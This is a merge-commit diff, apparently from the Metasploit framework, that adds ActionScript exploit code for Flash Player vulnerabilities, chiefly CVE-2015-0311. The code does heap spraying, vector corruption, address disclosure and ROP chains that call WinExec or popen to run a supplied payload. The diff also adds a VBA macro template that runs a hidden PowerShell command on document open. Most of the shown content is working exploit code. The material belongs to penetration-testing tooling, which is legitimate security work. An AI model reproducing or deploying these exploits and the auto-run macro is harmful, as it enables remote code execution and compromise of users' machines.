Merge branch 'master' into land-5394-uuid-tracker

bug/bundler_fix
Brent Cook 2015-05-29 15:41:31 -05:00
commit 7b0006a1b2
66 changed files with 3348 additions and 742 deletions

View File

@ -22,7 +22,7 @@ before_script:
- bundle exec rake db:migrate
script:
# fail build if db/schema.rb update is not committed
- git diff --exit-code && bundle exec rake $RAKE_TASKS
- git diff --exit-code db/schema.rb && bundle exec rake $RAKE_TASKS
sudo: false
rvm:
- '2.1.6'

Binary file not shown.

Binary file not shown.

Binary file not shown.

BIN
data/exploits/CVE-2015-0311/msf.swf Executable file → Normal file

Binary file not shown.

Binary file not shown.

BIN
data/exploits/CVE-2015-0336/msf.swf Executable file → Normal file

Binary file not shown.

Binary file not shown.

Binary file not shown.

View File

@ -0,0 +1,12 @@
Sub %{sub_auto_open}()
Dim %{var_powershell}
%{var_powershell} = %{powershell}
Call Shell(%{var_powershell}, vbHide)
End Sub
Sub AutoOpen()
%{sub_auto_open}
End Sub
Sub Workbook_Open()
%{sub_auto_open}
End Sub

View File

@ -27,7 +27,10 @@ package
public function Main()
{
var b64:Base64Decoder = new Base64Decoder()
b64.decode(LoaderInfo(this.root.loaderInfo).parameters.sh)
var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh
var pattern:RegExp = / /g;
b64_payload = b64_payload.replace(pattern, "+")
b64.decode(b64_payload)
var payload:String = b64.toByteArray().toString()
for (i = 0; i < bv.length; i++) {

View File

@ -32,9 +32,11 @@ package
var i:uint = 0
var j:uint = 0
b64.decode(LoaderInfo(this.root.loaderInfo).parameters.sh)
payload = b64.toByteArray().toString();
var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh
var pattern:RegExp = / /g;
b64_payload = b64_payload.replace(pattern, "+")
b64.decode(b64_payload)
payload = b64.toByteArray().toString()
for (i = 0; i < defrag.length; i++) {
defrag[i] = new ByteArray()
defrag[i].length = BYTE_ARRAY_SIZE

View File

@ -42,8 +42,11 @@ package
this.object_vector_length = 5770 * 2
this.byte_array_vector_length = 510 * 2
b64.decode(LoaderInfo(this.root.loaderInfo).parameters.sh)
payload = b64.toByteArray().toString();
var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh
var pattern:RegExp = / /g;
b64_payload = b64_payload.replace(pattern, "+")
b64.decode(b64_payload)
payload = b64.toByteArray().toString()
this.initialize_worker_and_ba()
if (!this.trigger())

View File

@ -0,0 +1,235 @@
package
{
public class Elf
{
private const PT_DYNAMIC:uint = 2
private const PT_LOAD:uint = 1
private const PT_READ_EXEC:uint = 5
private const DT_SYMTAB:uint = 6
private const DT_STRTAB:uint = 5
private const DT_PLTGOT:uint = 3
private var e_ba:ExploitByteArray
// elf base address
public var base:uint = 0
// program header address
public var ph:uint = 0
// number of program headers
public var ph_size:uint = 0
// program header entry size
public var ph_esize:uint = 0
// DYNAMIC segment address
public var seg_dynamic:uint = 0
// DYNAMIC segment size
public var seg_dynamic_size:uint = 0
// CODE segment address
public var seg_exec:uint = 0
// CODE segment size
public var seg_exec_size:uint = 0
// .dynsyn section address
public var sec_dynsym:uint = 0
// .synstr section address
public var sec_dynstr:uint = 0
// .got.plt section address
public var sec_got_plt:uint = 0
public function Elf(ba:ExploitByteArray, addr:uint)
{
e_ba = ba
set_base(addr)
set_program_header()
set_program_header_size()
set_program_header_entry_size()
set_dynamic_segment()
set_exec_segment()
set_dynsym()
set_dynstr()
set_got_plt()
}
public function external_symbol(name:String):uint {
var entry:uint = 0
var st_name:uint = 0
var st_value:uint = 0
var st_size:uint = 0
var st_info:uint = 0
var st_other:uint = 0
var st_shndx:uint = 0
var st_string:String = ""
var got_plt_index:uint = 0
for(var i:uint = 0; i < 1000; i++) { // 1000 is just a limit
entry = sec_dynsym + 0x10 + (i * 0x10)
st_name = e_ba.read(entry)
st_value = e_ba.read(entry + 4)
st_info = e_ba.read(entry + 0xc, "byte")
st_string = e_ba.read_string(sec_dynstr + st_name)
if (st_string == name) {
return e_ba.read(sec_got_plt + 0xc + (got_plt_index * 4))
}
if (st_info != 0x11) {
got_plt_index++
}
}
throw new Error()
}
public function symbol(name:String):uint {
var entry:uint = 0
var st_name:uint = 0
var st_value:uint = 0
var st_size:uint = 0
var st_info:uint = 0
var st_other:uint = 0
var st_shndx:uint = 0
var st_string:String = ""
for(var i:uint = 0; i < 3000; i++) { // 3000 is just a limit
entry = sec_dynsym + 0x10 + (i * 0x10)
st_name = e_ba.read(entry)
st_value = e_ba.read(entry + 4)
st_info = e_ba.read(entry + 0xc, "byte")
st_string = e_ba.read_string(sec_dynstr + st_name)
if (st_string == name) {
return base + st_value
}
}
throw new Error()
}
public function gadget(gadget:String, hint:uint):uint
{
var value:uint = parseInt(gadget, 16)
var contents:uint = 0
for (var i:uint = 0; i < seg_exec_size - 4; i++) {
contents = e_ba.read(seg_exec + i)
if (hint == 0xffffffff && value == contents) {
return seg_exec + i
}
if (hint != 0xffffffff && value == (contents & hint)) {
return seg_exec + i
}
}
throw new Error()
}
private function set_base(addr:uint):void
{
addr &= 0xffff0000
while (true) {
if (e_ba.read(addr) == 0x464c457f) {
base = addr
return
}
addr -= 0x1000
}
throw new Error()
}
private function set_program_header():void
{
ph = base + e_ba.read(base + 0x1c)
}
private function set_program_header_size():void
{
ph_size = e_ba.read(base + 0x2c, "word")
}
private function set_program_header_entry_size():void
{
ph_esize = e_ba.read(base + 0x2a, "word")
}
private function set_dynamic_segment():void
{
var entry:uint = 0
var p_type:uint = 0
for (var i:uint = 0; i < ph_size; i++) {
entry = ph + (i * ph_esize)
p_type = e_ba.read(entry)
if (p_type == PT_DYNAMIC) {
seg_dynamic = base + e_ba.read(entry + 8)
seg_dynamic_size = e_ba.read(entry + 0x14)
return
}
}
throw new Error()
}
private function set_exec_segment():void
{
var entry:uint = 0
var p_type:uint = 0
var p_flags:uint = 0
for (var i:uint = 0; i < ph_size; i++) {
entry = ph + (i * ph_esize)
p_type = e_ba.read(entry)
p_flags = e_ba.read(entry + 0x18)
if (p_type == PT_LOAD && (p_flags & PT_READ_EXEC) == PT_READ_EXEC) {
seg_exec = base + e_ba.read(entry + 8)
seg_exec_size = e_ba.read(entry + 0x14)
return
}
}
throw new Error()
}
private function set_dynsym():void
{
var entry:uint = 0
var s_type:uint = 0
for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) {
entry = seg_dynamic + i
s_type = e_ba.read(entry)
if (s_type == DT_SYMTAB) {
sec_dynsym = e_ba.read(entry + 4)
return
}
}
throw new Error()
}
private function set_dynstr():void
{
var entry:uint = 0
var s_type:uint = 0
for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) {
entry = seg_dynamic + i
s_type = e_ba.read(entry)
if (s_type == DT_STRTAB) {
sec_dynstr = e_ba.read(entry + 4)
return
}
}
throw new Error()
}
private function set_got_plt():void
{
var entry:uint = 0
var s_type:uint = 0
for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) {
entry = seg_dynamic + i
s_type = e_ba.read(entry)
if (s_type == DT_PLTGOT) {
sec_got_plt = e_ba.read(entry + 4)
return
}
}
throw new Error()
}
}
}

View File

@ -0,0 +1,84 @@
// Build how to:
// 1. Download the AIRSDK, and use its compiler.
// 3. Download the Flex SDK (4.6)
// 4. Copy the Flex SDK libs (<FLEX_SDK>/framework/libs) to the AIRSDK folder (<AIR_SDK>/framework/libs)
// (all of them, also, subfolders, specially mx, necessary for the Base64Decoder)
// 5. Build with: mxmlc -o msf.swf Exploit.as
// Original exploit by @hdarwin89 // http://blog.hacklab.kr/flash-cve-2015-0311-%EB%B6%84%EC%84%9D/
package
{
import flash.display.Sprite
import flash.display.LoaderInfo
import flash.system.ApplicationDomain
import flash.utils.ByteArray
import avm2.intrinsics.memory.*
import flash.external.ExternalInterface
import mx.utils.Base64Decoder
public class Exploit extends Sprite
{
private var data:uint = 0xdeaddead
private var uv:Vector.<uint> = new Vector.<uint>
private var ba:ByteArray = new ByteArray()
private var exploiter:Exploiter
private var b64:Base64Decoder = new Base64Decoder()
private var payload:String
private var platform:String
private var massage:Vector.<Object> = new Vector.<Object>(10000)
public function Exploit()
{
platform = LoaderInfo(this.root.loaderInfo).parameters.pl
var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh
var pattern:RegExp = / /g;
b64_payload = b64_payload.replace(pattern, "+")
b64.decode(b64_payload)
payload = b64.toByteArray().toString()
for (var i:uint = 0; i < massage.length / 2; i++) {
massage[i] = new Vector.<uint>(0x3e0)
}
for (i = 0; i < 1000; i++) ba.writeUnsignedInt(data++)
ba.compress()
ApplicationDomain.currentDomain.domainMemory = ba
ba.position = 0x200
for (i = 0; i < ba.length - ba.position; i++) ba.writeByte(00)
try {
ba.uncompress()
} catch (e:Error) { }
for (i = massage.length / 2; i < massage.length; i++) {
massage[i] = new Vector.<uint>(0x3e0)
}
var test:uint = li32(0)
if (test == 0x3e0) {
si32(0xffffffff, 0) // corrupted
} else {
Logger.log('[*] Exploit - corruption fail: ' + test.toString(16))
return // something failed
}
for (i = 0; i < massage.length; i++) {
if (massage[i].length == 0x3e0) {
massage[i] = null
} else {
Logger.log('[*] Exploit - corrupted vector found at ' + i)
uv = massage[i]
uv[0] = 0
}
}
if (uv.length != 0xffffffff)
return
exploiter = new Exploiter(this, platform, payload, uv)
}
}
}

View File

@ -0,0 +1,82 @@
package
{
import flash.utils.ByteArray
public class ExploitByteArray
{
private const MAX_STRING_LENGTH:uint = 100
public var ba:ByteArray
public var original_length:uint
private var platform:String
public function ExploitByteArray(p:String, l:uint = 1024)
{
ba = new ByteArray()
ba.length = l
ba.endian = "littleEndian"
ba.writeUnsignedInt(0)
platform = p
original_length = l
}
public function set_length(length:uint):void
{
ba.length = length
}
public function get_length():uint
{
return ba.length
}
public function lets_ready():void
{
Logger.log("[*] ExploitByteArray - lets_ready()")
ba.endian = "littleEndian"
if (platform == "linux") {
ba.length = 0xffffffff
}
}
public function is_ready():Boolean
{
Logger.log("[*] ExploitByteArray - is_ready() - 0x" + ba.length.toString(16))
if (ba.length == 0xffffffff)
return true
return false
}
public function read(addr:uint, type:String = "dword"):uint
{
ba.position = addr
switch(type) {
case "dword":
return ba.readUnsignedInt()
case "word":
return ba.readUnsignedShort()
case "byte":
return ba.readUnsignedByte()
}
return 0
}
public function read_string(addr:uint, length:uint = 0):String
{
ba.position = addr
if (length == 0)
return ba.readUTFBytes(MAX_STRING_LENGTH)
else
return ba.readUTFBytes(length)
}
public function write(addr:uint, value:* = 0, zero:Boolean = true):void
{
if (addr) ba.position = addr
if (value is String) {
for (var i:uint; i < value.length; i++) ba.writeByte(value.charCodeAt(i))
if (zero) ba.writeByte(0)
} else ba.writeUnsignedInt(value)
}
}
}

View File

@ -0,0 +1,74 @@
package
{
public class ExploitVector
{
private var uv:Vector.<uint>
public var original_length:uint = 0x3e0
public function ExploitVector(v:Vector.<uint>)
{
uv = v
}
public function restore():void
{
uv[0x3ffffffe] = original_length
}
public function is_ready():Boolean
{
if (uv.length > original_length)
{
return true
}
return false
}
public function at(pos:uint):uint
{
return uv[pos]
}
// pos: position where a Vector.<Object>[0] lives
public function set_own_address(pos:uint):void
{
uv[0] = uv[pos - 5] - ((pos - 5) * 4) - 0xc
}
public function read(addr:uint):uint
{
var pos:uint = 0
if (addr > uv[0]) {
pos = ((addr - uv[0]) / 4) - 2
} else {
pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1
}
return uv[pos]
}
public function write(addr:uint, value:uint = 0):void
{
var pos:uint = 0
if (addr > uv[0]) {
pos = ((addr - uv[0]) / 4) - 2
} else {
pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1
}
uv[pos] = value
}
public function search_pattern(pattern:uint, limit:uint):uint
{
for (var i:uint = 0; i < limit/4; i++) {
if (uv[i] == pattern) {
return i
}
}
throw new Error()
}
}
}

View File

@ -0,0 +1,251 @@
package
{
import flash.utils.ByteArray
import flash.system.System
public class Exploiter
{
private const VECTOR_OBJECTS_LENGTH:uint = 1014
private var exploit:Exploit
private var ev:ExploitVector
private var eba:ExploitByteArray
private var payload:String
private var platform:String
private var pos:uint
private var byte_array_object:uint
private var main:uint
private var stack_object:uint
private var payload_space_object:uint
private var buffer_object:uint
private var buffer:uint
private var vtable:uint
private var stack_address:uint
private var payload_address:uint
private var stack:Vector.<uint> = new Vector.<uint>(0x6400)
private var payload_space:Vector.<uint> = new Vector.<uint>(0x6400)
private var spray:Vector.<Object> = new Vector.<Object>(80000)
public function Exploiter(exp:Exploit, pl:String, p: String, uv:Vector.<uint>):void
{
exploit = exp
payload = p
platform = pl
ev = new ExploitVector(uv)
if (!ev.is_ready()) return
eba = new ExploitByteArray(platform)
spray_objects()
try { pos = search_objects() } catch (err:Error) { ev.restore(); cleanup(); return; }
ev.set_own_address(pos)
if (!disclose_objects()) { ev.restore(); cleanup(); return; }
disclose_addresses()
corrupt_byte_array()
if (!eba.is_ready()) { ev.restore(); cleanup(); return }
do_rop()
restore_byte_array()
ev.restore()
cleanup()
}
private function spray_objects():void
{
Logger.log("[*] Exploiter - spray_objects()")
for (var i:uint = 0; i < spray.length; i++)
{
spray[i] = new Vector.<Object>(VECTOR_OBJECTS_LENGTH)
spray[i][0] = eba.ba
spray[i][1] = exploit
spray[i][2] = stack
spray[i][3] = payload_space
}
}
private function search_objects():uint
{
Logger.log("[*] Exploiter - search_objects()")
var idx:uint = ev.search_pattern(VECTOR_OBJECTS_LENGTH, 0x4000)
return idx + 1
}
private function disclose_objects():Boolean
{
Logger.log("[*] Exploiter - disclose_objects()")
byte_array_object = ev.at(pos) - 1
main = ev.at(pos + 1) - 1
stack_object = ev.at(pos + 2) - 1
payload_space_object = ev.at(pos + 3) - 1
if (byte_array_object < 0x1000 || main < 0x1000 || stack_object < 0x1000 || payload_space_object < 0x1000) {
return false
}
return true
}
private function disclose_addresses():void
{
Logger.log("[*] Exploiter - disclose_addresses()")
if (platform == "linux")
{
buffer_object = ev.read(byte_array_object + 0x10)
buffer = ev.read(buffer_object + 0x1c)
}
else if (platform == "win")
{
buffer_object = ev.read(byte_array_object + 0x40)
buffer = ev.read(buffer_object + 8)
}
vtable = ev.read(main)
stack_address = ev.read(stack_object + 0x18)
payload_address = ev.read(payload_space_object + 0x18)
}
private function corrupt_byte_array():void
{
Logger.log("[*] Exploiter - corrupt_byte_array(): " + platform)
if (platform == "linux")
{
ev.write(buffer_object + 0x1c) // *array
ev.write(buffer_object + 0x20, 0xffffffff) // capacity
}
else if (platform == "win")
{
ev.write(buffer_object + 8) // *array
ev.write(buffer_object + 16, 0xffffffff) // capacity
}
eba.lets_ready()
}
private function restore_byte_array():void
{
Logger.log("[*] Exploiter - restore_byte_array(): " + platform)
if (platform == "linux")
{
ev.write(buffer_object + 0x1c, buffer) // *array
ev.write(buffer_object + 0x20, 1024) // capacity
}
else if (platform == "win")
{
ev.write(buffer_object + 8, buffer) // *array
ev.write(buffer_object + 16, 1024) // capacity
}
eba.set_length(eba.original_length)
}
private function do_rop():void
{
Logger.log("[*] Exploiter - do_rop()")
if (platform == "linux")
do_rop_linux()
else if (platform == "win")
do_rop_windows()
else
return
}
private function do_rop_windows():void
{
Logger.log("[*] Exploiter - do_rop_windows()")
var pe:PE = new PE(eba)
var flash:uint = pe.base(vtable)
var winmm:uint = pe.module("winmm.dll", flash)
var kernel32:uint = pe.module("kernel32.dll", winmm)
var virtualprotect:uint = pe.procedure("VirtualProtect", kernel32)
var winexec:uint = pe.procedure("WinExec", kernel32)
var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash)
var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash)
// Continuation of execution
eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable
eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main
eba.write(0, "\x89\x03", false) // mov [ebx], eax
eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
// Put the payload (command) in memory
eba.write(payload_address + 8, payload, true); // payload
// Put the fake vtabe / stack on memory
eba.write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability...
eba.write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h]
eba.write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot
eba.write(0, virtualprotect)
// VirtualProtect
eba.write(0, winexec)
eba.write(0, buffer + 0x10)
eba.write(0, 0x1000)
eba.write(0, 0x40)
eba.write(0, buffer + 0x8) // Writable address (4 bytes)
// WinExec
eba.write(0, buffer + 0x10)
eba.write(0, payload_address + 8)
eba.write(0)
eba.write(main, stack_address + 0x18000) // overwrite with fake vtable
exploit.toString() // call method in the fake vtable
}
private function do_rop_linux():void
{
Logger.log("[*] Exploiter - do_rop_linux()")
var flash:Elf = new Elf(eba, vtable)
var feof:uint = flash.external_symbol('feof')
var libc:Elf = new Elf(eba, feof)
var popen:uint = libc.symbol("popen")
var mprotect:uint = libc.symbol("mprotect")
var xchgeaxespret:uint = flash.gadget("c394", 0x0000ffff)
var xchgeaxesiret:uint = flash.gadget("c396", 0x0000ffff)
var addesp2cret:uint = flash.gadget("c32cc483", 0xffffffff)
// Continuation of execution
// 1) Recover original vtable
eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable
eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main
eba.write(0, "\x89\x03", false) // mov [ebx], eax
// 2) Recover original stack
eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi
// Put the popen parameters in memory
eba.write(payload_address + 8, 'r', true) // type
eba.write(payload_address + 0xc, payload, true) // command
// Put the fake stack/vtable on memory
eba.write(stack_address + 0x18024, xchgeaxespret) // Initial gadget, stackpivot
eba.write(stack_address + 0x18000, xchgeaxesiret) // Save original stack on esi
eba.write(0, addesp2cret) //second pivot to preserver stack_address + 0x18024
// Return to mprotect()
eba.write(stack_address + 0x18034, mprotect)
// Return to stackpivot (jmp over mprotect parameters)
eba.write(0, addesp2cret)
// mprotect() arguments
eba.write(0, buffer) // addr
eba.write(0, 0x1000) // size
eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC
// Return to popen()
eba.write(stack_address + 0x18068, popen)
// Return to CoE (fix stack and object vtable)
eba.write(0, buffer + 0x10)
// popen() argument
eba.write(0, payload_address + 0xc)
eba.write(0, payload_address + 8)
//call DWORD PTR [eax+0x24]
//EAX: 0x41414141 ('AAAA')
//EDI: 0xad857088 ("AAAA\377")
eba.write(main, stack_address + 0x18000)
exploit.hasOwnProperty('msf')
}
private function cleanup():void
{
Logger.log("[*] Exploiter - cleanup()")
spray = null
stack = null
payload_space = null
eba = null
ev = null
exploit = null
System.pauseForGCIfCollectionImminent(0)
}
}
}

View File

@ -0,0 +1,32 @@
package
{
import flash.external.ExternalInterface
public class Logger {
private static const DEBUG:uint = 0
public static function alert(msg:String):void
{
var str:String = "";
if (DEBUG == 1)
str += msg;
if(ExternalInterface.available){
ExternalInterface.call("alert", str);
}
}
public static function log(msg:String):void
{
var str:String = "";
if (DEBUG == 1)
str += msg;
if(ExternalInterface.available){
ExternalInterface.call("console.log", str);
}
}
}
}

View File

@ -1,243 +0,0 @@
// Build how to:
// 1. Download the AIRSDK, and use its compiler.
// 2. Be support to support 16.0 as target-player (flex-config.xml).
// 3. Download the Flex SDK (4.6)
// 4. Copy the Flex SDK libs (<FLEX_SDK>/framework/libs) to the AIRSDK folder (<AIR_SDK>/framework/libs)
// (all of them, also, subfolders, specially mx, necessary for the Base64Decoder)
// 5. Build with: mxmlc -o msf.swf Main.as
// Original code by @hdarwin89 // http://blog.hacklab.kr/flash-cve-2015-0311-%EB%B6%84%EC%84%9D/
// Modified to be used from msf
package
{
import flash.display.Sprite;
import flash.display.LoaderInfo;
import flash.system.ApplicationDomain;
import flash.utils.ByteArray;
import avm2.intrinsics.memory.casi32;
import flash.external.ExternalInterface;
import mx.utils.Base64Decoder;
public class Main extends Sprite
{
private var data:uint = 0xdeaddead
private var uv:Vector.<Object> = new Vector.<Object>
private var ba:ByteArray = new ByteArray()
private var spray:Vector.<Object> = new Vector.<Object>(51200)
private var b64:Base64Decoder = new Base64Decoder();
private var payload:String = "";
/*public static function log(msg:String):void{
var str:String = "";
str += msg;
trace(str);
if(ExternalInterface.available){
ExternalInterface.call("alert", str);
}
}*/
public function Main()
{
b64.decode(LoaderInfo(this.root.loaderInfo).parameters.sh)
payload = b64.toByteArray().toString();
for (var i:uint = 0; i < 1000; i++) ba.writeUnsignedInt(data++)
ba.compress()
ApplicationDomain.currentDomain.domainMemory = ba
ba.position = 0x200
for (i = 0; i < ba.length - ba.position; i++) ba.writeByte(00)
try {
ba.uncompress()
} catch (e:Error) { }
uv[0] = new Vector.<uint>(0x3E0)
casi32(0, 0x3e0, 0xffffffff)
for (i = 0; i < spray.length; i++) {
spray[i] = new Vector.<Object>(1014)
spray[i][0] = ba
spray[i][1] = this
}
/*
0:008> dd 5ca4000
05ca4000 ffffffff 05042000 05ca4000 00000000
05ca4010 00000000 00000000 00000000 00000000
05ca4020 00000000 00000000 00000000 00000000
05ca4030 00000000 00000000 00000000 00000000
05ca4040 00000000 00000000 00000000 00000000
05ca4050 00000000 00000000 00000000 00000000
05ca4060 00000000 00000000 00000000 00000000
05ca4070 00000000 00000000 00000000 00000000
*/
uv[0][0] = uv[0][0x2000003] - 0x18 - 0x2000000 * 4
//log("uv[0][0]: " + uv[0][0].toString(16));
ba.endian = "littleEndian"
ba.length = 0x500000
var buffer:uint = vector_read(vector_read(uv[0][0x2000008] - 1 + 0x40) + 8) + 0x100000
//log("buffer: " + buffer.toString(16));
var main:uint = uv[0][0x2000009] - 1
//log("main: " + main.toString(16));
var vtable:uint = vector_read(main)
//log("vtable: " + vtable.toString(16));
vector_write(vector_read(uv[0][0x2000008] - 1 + 0x40) + 8)
vector_write(vector_read(uv[0][0x2000008] - 1 + 0x40) + 16, 0xffffffff)
byte_write(uv[0][0])
var flash:uint = base(vtable)
//log("flash: " + flash.toString(16));
// Because of the sandbox, when you try to solve kernel32
// from the flash imports on IE, it will solve ieshims.dll
var ieshims:uint = module("kernel32.dll", flash)
//log("ieshims: " + ieshims.toString(16));
var kernel32:uint = module("kernel32.dll", ieshims)
//log("kernel32: " + kernel32.toString(16));
var ntdll:uint = module("ntdll.dll", kernel32)
//log("ntdll: " + ntdll.toString(16));
var urlmon:uint = module("urlmon.dll", flash)
//log("urlmon: " + urlmon.toString(16));
var virtualprotect:uint = procedure("VirtualProtect", kernel32)
//log("virtualprotect: " + virtualprotect.toString(16));
var winexec:uint = procedure("WinExec", kernel32)
//log("winexec: " + winexec.toString(16));
var urldownloadtofile:uint = procedure("URLDownloadToFileA", urlmon);
//log("urldownloadtofile: " + urldownloadtofile.toString(16));
var getenvironmentvariable:uint = procedure("GetEnvironmentVariableA", kernel32)
//log("getenvironmentvariable: " + getenvironmentvariable.toString(16));
var setcurrentdirectory:uint = procedure("SetCurrentDirectoryA", kernel32)
//log("setcurrentdirectory: " + setcurrentdirectory.toString(16));
var xchgeaxespret:uint = gadget("c394", 0x0000ffff, flash)
//log("xchgeaxespret: " + xchgeaxespret.toString(16));
var xchgeaxesiret:uint = gadget("c396", 0x0000ffff, flash)
//log("xchgeaxesiret: " + xchgeaxesiret.toString(16));
// CoE
byte_write(buffer + 0x30000, "\xb8", false); byte_write(0, vtable, false) // mov eax, vtable
byte_write(0, "\xbb", false); byte_write(0, main, false) // mov ebx, main
byte_write(0, "\x89\x03", false) // mov [ebx], eax
byte_write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
byte_write(buffer+0x200, payload);
byte_write(buffer + 0x20070, xchgeaxespret)
byte_write(buffer + 0x20000, xchgeaxesiret)
byte_write(0, virtualprotect)
// VirtualProtect
byte_write(0, winexec)
byte_write(0, buffer + 0x30000)
byte_write(0, 0x1000)
byte_write(0, 0x40)
byte_write(0, buffer + 0x100)
// WinExec
byte_write(0, buffer + 0x30000)
byte_write(0, buffer + 0x200)
byte_write(0)
byte_write(main, buffer + 0x20000)
toString()
}
private function vector_write(addr:uint, value:uint = 0):void
{
addr > uv[0][0] ? uv[0][(addr - uv[0][0]) / 4 - 2] = value : uv[0][0xffffffff - (uv[0][0] - addr) / 4 - 1] = value
}
private function vector_read(addr:uint):uint
{
return addr > uv[0][0] ? uv[0][(addr - uv[0][0]) / 4 - 2] : uv[0][0xffffffff - (uv[0][0] - addr) / 4 - 1]
}
private function byte_write(addr:uint, value:* = 0, zero:Boolean = true):void
{
if (addr) ba.position = addr
if (value is String) {
for (var i:uint; i < value.length; i++) ba.writeByte(value.charCodeAt(i))
if (zero) ba.writeByte(0)
} else ba.writeUnsignedInt(value)
}
private function byte_read(addr:uint, type:String = "dword"):uint
{
ba.position = addr
switch(type) {
case "dword":
return ba.readUnsignedInt()
case "word":
return ba.readUnsignedShort()
case "byte":
return ba.readUnsignedByte()
}
return 0
}
private function base(addr:uint):uint
{
addr &= 0xffff0000
while (true) {
if (byte_read(addr) == 0x00905a4d) return addr
addr -= 0x10000
}
return 0
}
private function module(name:String, addr:uint):uint
{
var iat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x80)
var i:int = -1
while (true) {
var entry:uint = byte_read(iat + (++i) * 0x14 + 12)
if (!entry) throw new Error("FAIL!");
ba.position = addr + entry
var dll_name:String = ba.readUTFBytes(name.length).toUpperCase();
if (dll_name == name.toUpperCase()) {
break;
}
}
return base(byte_read(addr + byte_read(iat + i * 0x14 + 16)));
}
private function procedure(name:String, addr:uint):uint
{
var eat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x78)
var numberOfNames:uint = byte_read(eat + 0x18)
var addressOfFunctions:uint = addr + byte_read(eat + 0x1c)
var addressOfNames:uint = addr + byte_read(eat + 0x20)
var addressOfNameOrdinals:uint = addr + byte_read(eat + 0x24)
for (var i:uint = 0; ; i++) {
var entry:uint = byte_read(addressOfNames + i * 4)
ba.position = addr + entry
if (ba.readUTFBytes(name.length+2).toUpperCase() == name.toUpperCase()) break
}
return addr + byte_read(addressOfFunctions + byte_read(addressOfNameOrdinals + i * 2, "word") * 4)
}
private function gadget(gadget:String, hint:uint, addr:uint):uint
{
var find:uint = 0
var limit:uint = byte_read(addr + byte_read(addr + 0x3c) + 0x50)
var value:uint = parseInt(gadget, 16)
for (var i:uint = 0; i < limit - 4; i++) if (value == (byte_read(addr + i) & hint)) break
return addr + i
}
}
}

View File

@ -0,0 +1,63 @@
package
{
public class PE
{
private var eba:ExploitByteArray
public function PE(ba:ExploitByteArray)
{
eba = ba
}
public function base(addr:uint):uint
{
Logger.log("[*] PE - base(): searching base for 0x" + addr.toString(16))
addr &= 0xffff0000
while (true) {
if (eba.read(addr) == 0x00905a4d) return addr
addr -= 0x10000
}
return 0
}
public function module(name:String, addr:uint):uint
{
var iat:uint = addr + eba.read(addr + eba.read(addr + 0x3c) + 0x80), i:int = -1
var mod_name:String
while (true) {
var entry:uint = eba.read(iat + (++i) * 0x14 + 12)
if (!entry) throw new Error("FAIL!");
mod_name = eba.read_string(addr + entry, name.length)
if (mod_name.toUpperCase() == name.toUpperCase()) break
}
return base(eba.read(addr + eba.read(iat + i * 0x14 + 16)))
}
public function procedure(name:String, addr:uint):uint
{
var eat:uint = addr + eba.read(addr + eba.read(addr + 0x3c) + 0x78)
var numberOfNames:uint = eba.read(eat + 0x18)
var addressOfFunctions:uint = addr + eba.read(eat + 0x1c)
var addressOfNames:uint = addr + eba.read(eat + 0x20)
var addressOfNameOrdinals:uint = addr + eba.read(eat + 0x24)
var proc_name:String
for (var i:uint = 0; ; i++) {
var entry:uint = eba.read(addressOfNames + i * 4)
proc_name = eba.read_string(addr + entry, name.length + 2)
if (proc_name.toUpperCase() == name.toUpperCase()) break
}
return addr + eba.read(addressOfFunctions + eba.read(addressOfNameOrdinals + i * 2, "word") * 4)
}
public function gadget(gadget:String, hint:uint, addr:uint):uint
{
var find:uint = 0
var limit:uint = eba.read(addr + eba.read(addr + 0x3c) + 0x50)
var value:uint = parseInt(gadget, 16)
for (var i:uint = 0; i < limit - 4; i++) if (value == (eba.read(addr + i) & hint)) break
return addr + i
}
}
}

View File

@ -39,7 +39,10 @@ public class Main extends Sprite
private function mainThread():void
{
b64.decode(LoaderInfo(this.root.loaderInfo).parameters.sh)
var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh
var pattern:RegExp = / /g;
b64_payload = b64_payload.replace(pattern, "+")
b64.decode(b64_payload)
payload = b64.toByteArray().toString()
ba.length = 0x1000
@ -204,4 +207,4 @@ public class Main extends Sprite
return addr + i
}
}
}
}

View File

@ -0,0 +1,235 @@
package
{
public class Elf
{
private const PT_DYNAMIC:uint = 2
private const PT_LOAD:uint = 1
private const PT_READ_EXEC:uint = 5
private const DT_SYMTAB:uint = 6
private const DT_STRTAB:uint = 5
private const DT_PLTGOT:uint = 3
private var e_ba:ExploitByteArray
// elf base address
public var base:uint = 0
// program header address
public var ph:uint = 0
// number of program headers
public var ph_size:uint = 0
// program header entry size
public var ph_esize:uint = 0
// DYNAMIC segment address
public var seg_dynamic:uint = 0
// DYNAMIC segment size
public var seg_dynamic_size:uint = 0
// CODE segment address
public var seg_exec:uint = 0
// CODE segment size
public var seg_exec_size:uint = 0
// .dynsyn section address
public var sec_dynsym:uint = 0
// .synstr section address
public var sec_dynstr:uint = 0
// .got.plt section address
public var sec_got_plt:uint = 0
public function Elf(ba:ExploitByteArray, addr:uint)
{
e_ba = ba
set_base(addr)
set_program_header()
set_program_header_size()
set_program_header_entry_size()
set_dynamic_segment()
set_exec_segment()
set_dynsym()
set_dynstr()
set_got_plt()
}
